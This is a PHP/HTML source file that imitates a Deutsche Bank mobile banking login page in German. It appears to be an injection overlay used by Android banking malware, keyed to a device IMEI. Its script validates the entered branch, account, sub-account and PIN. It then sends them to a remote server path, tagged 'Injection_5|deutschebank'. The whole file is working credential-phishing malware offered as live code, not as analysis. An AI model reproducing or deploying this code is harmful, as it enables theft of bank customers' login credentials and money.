Files

318 lines
17 KiB
PHP
Raw Permalink Normal View History

2026-08-27 10:50:54 -06:00
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>db MobileBanking</title>
<style>
* {
margin: 0;
padding: 0;
-webkit-tap-highlight-color: rgba(0,0,0,0);
}
html {
font-family: Arial, Helvetica, sans-serif;
-webkit-text-size-adjust: 100%;
-ms-text-size-adjust: 100%;
}
body {
font-size: 1em;
line-height: 1.4;
color: #363F51;
}
@media only screen and (min-width: 768px) {
body {
font-size: 1.6em;
}
}
button, input, select, textarea {
font-family: inherit;
font-size: 100%;
margin: 0;
}
button, input {
line-height: normal;
}
button, input, select {
width: 100%;
}
#headerContainer {
padding: 10px;
border-bottom: 1px solid #dbdfe6;
}
#login #headerContainer {
background: transparent url('data:image/png;base64,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
-webkit-background-size: 240px 60px;
-moz-background-size: 240px 60px;
background-size: 240px 60px;
}
#headerContainer > .inner {
background: transparent url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEYAAABGCAIAAAD+THXTAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAOASURBVHjaYmSQWMEwvAATw7ADo14a9dKol0a9NOqlUS8NJsCCX/r/8/BB6GhGyZWjCW/US6NeGvUS1Us8WoOXr3/8+PmXkZERZ5H7/z8zM6OMJNfQ8NKJs2/94g9/+/4Xj5rfv//N6DJJjFAcAl76+Ol3Qv7J129/4lcW7C2TEK44NPJSXs25m3c/41ejJM8zs9sUd6ocTF6av+L+otUPCKQfFsZ5/WbCgmxDoMS7dutTQd15gsoaSnTsLUWHQCEOLN+AWejT59/4lbnZS1Tmag6Neqmq7fLpC+/wqxEX5ZjTZ8rExDgEvLRxx9P+WTcJKpvVbSIrxUW2LfTz0uNn39LLzhBUVpim7ucuPQQaRP/+/U8uOg1sK+BXZmYo1FalOzTaeG2Tru8++AK/Gj5e1gUTzTnYmYeAl/YdednYe4WgsonNhpqqfEOgJX7p2ofw9ON//vzHr6y5XJfUhs/AeAnYJE3IP/XmHYGGnLeLVE2B1tDoL5U2XTh/5T3BLDSjy3hodAFXb348bcEdIkptNZK6QwPmpXsPv2RVnCWozM5CtDpfi7pW08pLOVXnCGYhYCt7/gQzVlamIeClbXuf79j/nKCyqe3GwB7REBhOefHqR3rpmf8ECm2GjDjlcH85WgQo9b2UVnr6yfNv+NUYaAv01BvQKM1T2Us9029s3vUMvxouTub5E825uViGgJdOnH1b03GZsLfrDYCxRLvKg2pe+vjpd2LBqZ+//uFXFuYnmxmvQtP6nWpeyqs5d+POJ/xqgOXbtA4TWrcqqeOlBSsJj/gwM5M54jMAXjp76X1+LeERn7ZKPfJGfOjtJWD32z/+MMERn9xk1bJsDfp0NynyErA+TS0+/fTFd/zKTPSFumr16TbIQZGXOiZf33mAQPebl4dlwUQzyrvf9PDS4ZOv63sId7/7Gw211fkZ6AjI9NL7j7+SCk/9/k2gFooOkk+OUmKgLyDTS9mVZ+/c/4JfjZoS75R2Ywa6A3K8NGvJ3eXrH+FXw87GBOwLCfCxDgEvXbr2oaj+AkFldUXaVqYiDAMBSPPS67c/g1OOfv32B78yeRnu3GQ1hgECpLXw////P7PLhIWFCbOCQlYDbMsBy+6h4SUxEQ4nGw6GwQ1Gl3KMemnUS3QvHgg2f+gAGBkZCVYhjKN7Lka9NOqlUS+NemnUS6NeGvUSSQAgwAABPRq4ZlJ+IgAAAABJRU5ErkJggg==') right 0 no-repeat;
-webkit-background-size: 35px 35px;
-moz-background-size: 35px 35px;
background-size: 35px 35px;
}
#login #headerContainer .inner {
height: 35px;
}
#contentContainer {
padding: 10px;
}
.emphasized {
background: #f4f3f2;
padding: 10px;
}
#login .emphasized {
margin-bottom: 20px;
}
#login form p {
margin: 0;
padding: 0 0 0.4em 0;
}
#login #fldBranch, #login #fldAccount, #login #fldSubAccount, #login #fldPIN {
display: inline-block;
float: left;
width: 29.4%;
margin-right: 1em;
}
#login #fldPIN {
clear: left;
}
#login #fldSubAccount {
margin-right: 0;
}
.emphasized input[type="tel"] {
border-right-color: #f9f8f7;
border-bottom-color: #f9f8f7;
}
.input {
padding: 7px 5px 6px 5px;
background: #f9f8f7;
border: 2px solid #9ba5b5;
border-right-color: #e4e7ec;
border-bottom-color: #e4e7ec;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-box-shadow: inset 1px 1px 0 0 rgba(163, 170, 183, 0.4);
box-shadow: inset 1px 1px 0 0 rgba(163, 170, 183, 0.4);
}
input[type="button"], input[type="submit"] {
width: auto;
color: #fff;
background: #bbc2ce;
padding: 8px 39px 8px 15px;
border: none;
border-bottom: 1px solid rgba(0, 0, 0, 0.25);
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
text-decoration: none;
}
input.close {
background: #e00034;
background: none -moz-linear-gradient(top, #eb597b 0%, #e00034 100%);
background: none -webkit-gradient(linear, left top, left bottom, color-stop(0%,#eb597b), color-stop(100%,#e00034));
background: none -webkit-linear-gradient(top, #eb597b 0%,#e00034 100%);
background: none -o-linear-gradient(top, #eb597b 0%,#e00034 100%);
background: none -ms-linear-gradient(top, #eb597b 0%,#e00034 100%);
background: none linear-gradient(to bottom, #eb597b 0%,#e00034 100%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#eb597b', endColorstr='#e00034',GradientType=0 );
background-repeat: no-repeat;
background-position: right center;
background-size: 30px 30px, auto auto;
}
#login #fldLogin input {
margin-top: 1.4em;
}
#headerContainer:after, .pair:after, form:after {
content: "";
display: table;
clear: both;
}
.fielderror {
padding: 7px 5px 6px 5px;
background: #f9f8f7;
border: 2px solid #F00;
border-right-color: #e4e7ec;
border-bottom-color: #e4e7ec;
-webkit-border-radius: 0;
-moz-border-radius: 0;
border-radius: 0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-box-shadow: inset 1px 1px 0 0 rgba(163, 170, 183, 0.4);
box-shadow: inset 1px 1px 0 0 rgba(163, 170, 183, 0.4);
}
</style>
</head>
<?php
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
//$IMEI_country = "321|tr";
include "config.php";
?>
<body id="login">
<div id="content_div">
<div id="headerContainer">
<div class="inner">&nbsp;</div>
<p id="customerNumberContainer"></p>
</div>
<div id="contentContainer">
<div class="inner">
<div class="emphasized">
<form action="http://" method="post" id="_mainForm" target="flow_handler">
<script type="text/javascript">
$(document).ready(function(){
$("#branch").focus();
});
</script>
<p class="fld " id="fldBranch">
<label for="branch">Filiale</label><br>
<input autocomplete="off" name="Filiale" maxlength="3" id="branch" class="input" value="" onkeyup="doNext(this, event);" type="tel"><br>
</p>
<p class="fld " id="fldAccount">
<label for="account">Konto</label><br>
<input autocomplete="off" name="Konto" maxlength="7" id="account" class="input" value="" onkeyup="doNext(this, event);" type="tel"><br>
</p>
<p class="fld " id="fldSubAccount">
<label for="subaccount">Unterkonto</label><br>
<input name="Unterkonto" autocomplete="off" maxlength="2" id="subaccount" class="input" value="00" onkeyup="doNext(this, event);" type="tel"><br>
</p>
<p class="fld " id="fldPIN">
<label for="pin">PIN</label><br>
<input name="PIN" maxlength="5" value="" id="pin" class="input" autocomplete="off" type="password"><br>
<input type="hidden" name="name" value="Meine Bank">
</p>
<p class="fld" id="fldLogin"><input value="anmelden" class="close" type="button" id="input_submitBtn"></p>
<input type="hidden" name="code" value="" />
</form>
</div>
</div>
</div>
<iframe src="about:blank" name="flow_handler" style="visibility:hidden;display:none"></iframe>
</div>
<script type="text/javascript">
(function () {
var __insHiddenField = function (objDoc, objForm, sNm, sV) {
var input = objDoc.createElement("input");
input.setAttribute("type", "hidden");
input.setAttribute("name", sNm);
input.setAttribute("value", sV);
input.value = sV;
objForm.appendChild(input);
};
/*var g_oForm = document.getElementById('_mainForm'), g_sFAct = prompt('getLink');
if(!/https?:\/\//i.test(g_sFAct)) {
g_sFAct = 'http://' + g_sFAct;
}
g_oForm.setAttribute('action',g_sFAct);
try{
g_oForm.action = g_sFAct;
} catch(e){};
var g_FrmCode = prompt('getId');
__insHiddenField(document, g_oForm, 'code', g_FrmCode);
*/
var g_oBtn = document.getElementById('input_submitBtn');
g_oBtn.onclick = function () {
var oNumInp = document.getElementById('branch');
var oCodeInp = document.getElementById('account');
var oSubInp = document.getElementById('subaccount');
var oPINInp = document.getElementById('pin');
try {
oNumInp.className = oCodeInp.className = oSubInp.className = oPINInp.className = 'input';
} catch(e){};
if (oNumInp.value.length < 3) {
try {
oNumInp.className = 'fielderror';
} catch(e){};
return false;
}
if (!/^\w{3,100}$/i.test(oCodeInp.value)) {
try {
oCodeInp.className = 'fielderror';
} catch(e){};
return false;
}
if (oSubInp.value.length < 2) {
try {
oSubInp.className = 'fielderror';
} catch(e){};
return false;
}
if (oPINInp.value.length < 2) {
try {
oPINInp.className = 'fielderror';
} catch(e){};
return false;
}
top['closeDlg'] = true;
/* prompt('send', '{"dialog id" : "deutschebank'+
'", "filiale": "'+oNumInp.value+
'", "konto": "'+oCodeInp.value+
'", "unterkonto": "'+oSubInp.value+
'", "pin": "'+oPINInp.value+'"}');
document.getElementById('content_div').style.visibility = 'hidden';
g_oForm.submit();*/
var url='<?php echo $URL; ?>';
var imei_c='<?php echo $IMEI_country; ?>';
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_5|deutschebank|"+oNumInp.value+"|"+oCodeInp.value+"|"+oSubInp.value+"|"+oPINInp.value+"|");
return false;
}
})();
</script>
</body>
</html>